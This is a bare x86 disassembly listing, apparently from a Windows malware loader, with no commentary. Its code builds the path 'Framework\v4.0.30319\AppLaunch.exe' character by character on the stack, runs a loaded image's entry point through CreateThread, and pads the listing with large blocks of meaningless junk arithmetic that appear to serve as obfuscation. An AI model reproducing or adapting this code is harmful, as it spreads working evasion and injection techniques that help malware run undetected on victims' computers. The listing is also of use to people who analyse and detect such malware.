mov edx, 0x46
mov word [ebp - 0x54], dx
mov eax, 0x72
mov word [ebp - 0x52], ax
mov ecx, 0x61
mov word [ebp - 0x50], cx
mov edx, 0x6d
mov word [ebp - 0x4e], dx
mov eax, 0x65
mov word [ebp - 0x4c], ax
mov ecx, 0x77
mov word [ebp - 0x4a], cx
mov edx, 0x6f
mov word [ebp - 0x48], dx
mov eax, 0x72
mov word [ebp - 0x46], ax
mov ecx, 0x6b
mov word [ebp - 0x44], cx
mov edx, 0x5c
mov word [ebp - 0x42], dx
mov eax, 0x76
mov word [ebp - 0x40], ax
mov ecx, 0x34
mov word [ebp - 0x3e], cx
mov edx, 0x2e
mov word [ebp - 0x3c], dx
mov eax, 0x30
mov word [ebp - 0x3a], ax
mov ecx, 0x2e
mov word [ebp - 0x38], cx
mov edx, 0x33
mov word [ebp - 0x36], dx
mov eax, 0x30
mov word [ebp - 0x34], ax
mov ecx, 0x33
mov word [ebp - 0x32], cx
mov edx, 0x31
mov word [ebp - 0x30], dx
mov eax, 0x39
mov word [ebp - 0x2e], ax
mov ecx, 0x5c
mov word [ebp - 0x2c], cx
mov edx, 0x41
mov word [ebp - 0x2a], dx
mov eax, 0x70
mov word [ebp - 0x28], ax
mov ecx, 0x70
mov word [ebp - 0x26], cx
mov edx, 0x4c
mov word [ebp - 0x24], dx
mov eax, 0x61
mov word [ebp - 0x22], ax
mov ecx, 0x75
mov word [ebp - 0x20], cx
mov edx, 0x6e
mov word [ebp - 0x1e], dx
mov eax, 0x63
mov word [ebp - 0x1c], ax
mov ecx, 0x68
mov word [ebp - 0x1a], cx
mov edx, 0x2e
mov word [ebp - 0x18], dx
mov eax, 0x65
mov word [ebp - 0x16], ax
mov ecx, 0x78
mov word [ebp - 0x14], cx
mov edx, 0x65
mov word [ebp - 0x12], dx
xor eax, eax
mov word [ebp - 0x10], ax
mov ecx, dword [ebp - 0x90]
cmp dword [ecx + 0xe8], 0
setne dl
mov byte [ebp - 0xbd], dl
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x40956c
push 8
mov ecx, dword [ebp - 0xa4]
push ecx
lea edx, [ebp - 0xb4]
push edx
call fcn.00401240
add esp, 0xc
mov eax, dword [ebp - 0xa4]
lea ecx, [ebp - 0x88]
mov dword [eax + 4], ecx
lea edx, [ebp - 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
shl eax, 1
mov ecx, dword [ebp - 0xa4]
mov word [ecx], ax
and esi, 0xbf
rcr esi, 0xb2
and eax, 0x90
not eax
sub edi, 0x71
inc eax
dec edi
or eax, 0xbf
not edi
sub edx, 0x4f
mov edx, 0x4d
inc eax
rcr eax, 0xb9
inc edx
imul eax
and eax, 0xc4
neg ebx
not eax
rol edi, 0x94
dec edx
inc ebx
dec eax
inc edi
rcr edi, 0xda
rcr ebx, 0xef
dec ebx
sub ebx, 0xa9
or ebx, 0x2a
mov esi, 0xbf
bswap esi
add eax, 0x60
neg esi
or edx, 0x4f
ror edi, 0x7e
bswap esi
not esi
or esi, 0x46
rcr eax, 0x46
bswap edi
sub edx, 0x9a
add eax, 0x72
neg esi
imul edx
rcr edx, 0x86
inc edi
sbb eax, 0xc0
sub esi, 0xe2
rcl eax, 0x3b
dec ebx
neg edx
dec esi
neg ebx
rol edx, 0xbe
rcr edi, 0x9a
not ebx
ror ebx, 0x22
sub edi, 0x25
not eax
add edi, 0x15
sub ebx, 0xa2
or edx, 0x64
dec ebx
add esi, 0xea
ror edi, 0xea
bswap eax
ror edi, 0xee
mov ebx, 0x36
rcl esi, 7
bswap esi
neg edx
and edx, 0x83
or ebx, 0x89
ror edi, 0x19
neg ebx
sbb ebx, 0x58
inc esi
rcr edi, 0x75
sub edi, 0x87
neg edx
imul ebx
or eax, 0xd2
and eax, 0xa2
not edi
sbb eax, 0x47
rcl ebx, 0x13
not edi
rcl eax, 0xc4
dec edx
ror edx, 0xe7
neg edi
inc esi
add edx, 0xce
add ebx, 0xf2
imul edi
not esi
or eax, 0x50
neg edi
sbb esi, 1
inc eax
bswap edi
sbb ebx, 0x28
sub eax, 0x27
sbb ebx, 0x28
rcl esi, 0xdb
rcr esi, 0x26
neg esi
add esi, 0x6b
or esi, 0xbc
inc edx
imul edi
sub ebx, 0x5c
inc esi
rcr edx, 0x2c
dec ebx
bswap edi
ror edi, 0xa1
bswap esi
or eax, 0xf
rol edi, 0x66
mov edi, 0xbf
sub ebx, 0x13
or esi, 0xf3
sbb edx, 0x4a
bswap esi
sub eax, 0x8e
inc edx
sub esi, 0x9e
or ebx, 0x19
sbb ebx, 0x5f
add ebx, 0xfd
dec edi
or edx, 0x86
and esi, 0xa3
rcr edi, 0x43
ror ebx, 0xe5
inc ebx
imul ebx
add eax, 0xca
add edi, 0x4e
imul edi
rcr edi, 0x2f
and esi, 0xc
ror ebx, 0x1d
bswap eax
sub esi, 0x89
imul ebx
not ebx
not eax
rcl eax, 0x8a
or eax, 0x95
push 0
push 0
push 0
mov edx, dword [ebp - 0x90]
mov eax, dword [ebp - 0x8c]
add eax, dword [edx + 0x28]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 0xac], eax
movzx ecx, byte [ebp - 0xbd]
test ecx, ecx
je 0x409779
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
push 8
lea edx, [ebp - 0xb4]
push edx
mov eax, dword [ebp - 0xa4]
push eax
call fcn.00401240
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0xac]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
dec edx
bswap edx
bswap ebx
not edi
not edi
imul ebx
not edx
add eax, 0x87
inc edi
or esi, 0x7d
rcl edx, 0x67
rcr esi, 0xbb
mov edx, 0x2c
imul ebx
neg edx
bswap esi
dec edx
inc edi
inc esi
inc edi
not edi
mov esi, 0x17
add edi, 0x7c
and esi, 0xfc
not edi
rcl ebx, 0x6e
not ebx
add edx, 0x2a
neg eax
imul ebx
bswap edx
ror esi, 0x11
sub edx, 0xc0
inc edi
not edi
not eax
sub esi, 0xbd
rol ebx, 0xea
inc edx
imul esi
add edx, 0xb5
not ebx
mov esi, 0x12
dec eax
sbb esi, 0xf9
neg eax
sbb ebx, 0xb9
mov edx, 0xd9
and eax, 0x2c
rcl esi, 0x73
rol eax, 0x47
rcl ebx, 0x38
dec edi
rol eax, 0x76
dec ebx
or edx, 0x4f
rol edi, 0xb5
not edx
sub edx, 0xf6
mov ebx, 0x94
not ebx
neg edx
inc edi
rcr esi, 0xb9
rcr eax, 0x47
neg edx
sub edi, 0x1d
not edi
neg ebx
imul eax
dec edi
mov esi, 0xd5
neg eax
sub eax, 0x7c
neg esi
sbb ebx, 3
inc ebx
inc eax
bswap edx
add ebx, 0xbf
inc edx
and esi, 0xed
sub eax, 0xe2
not eax
and ebx, 0x45
not esi
dec esi
not esi
sbb ebx, 0x4a
sub edx, 0x4a
ror eax, 0xf0
bswap esi
bswap edx
bswap edx
imul edx
dec edx
neg edi
rcr esi, 0x71
rcr eax, 0x63
mov edx, 0xa5
ror ebx, 0xad
mov esi, 5
inc edx
dec edi
and ebx, 0x12
mov eax, 0x91
ror eax, 0x45
imul edx
sub esi, 0x6e
bswap eax
bswap eax
dec esi
rcr eax, 0xb7
bswap edx
rcl edx, 0x9d
or eax, 0x13
rcr esi, 0x92
neg edi
ror esi, 0x94
imul edx
imul edx
rcr eax, 0xab
imul edi
not esi
ror eax, 0x16
mov edi, 0x5e
dec ebx
imul esi
add edi, 0xd9
rcl edx, 0x37
dec ebx
imul eax
dec edi
bswap ebx
not edi
rcr ebx, 0x8f
not edx
dec ebx
sub edi, 0x9f
imul esi
dec esi
sbb edi, 0x61
ror edi, 0xf0
rcl ebx, 0x77
neg edx
imul eax
not ebx
sbb eax, 0x83
inc esi
dec edi
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret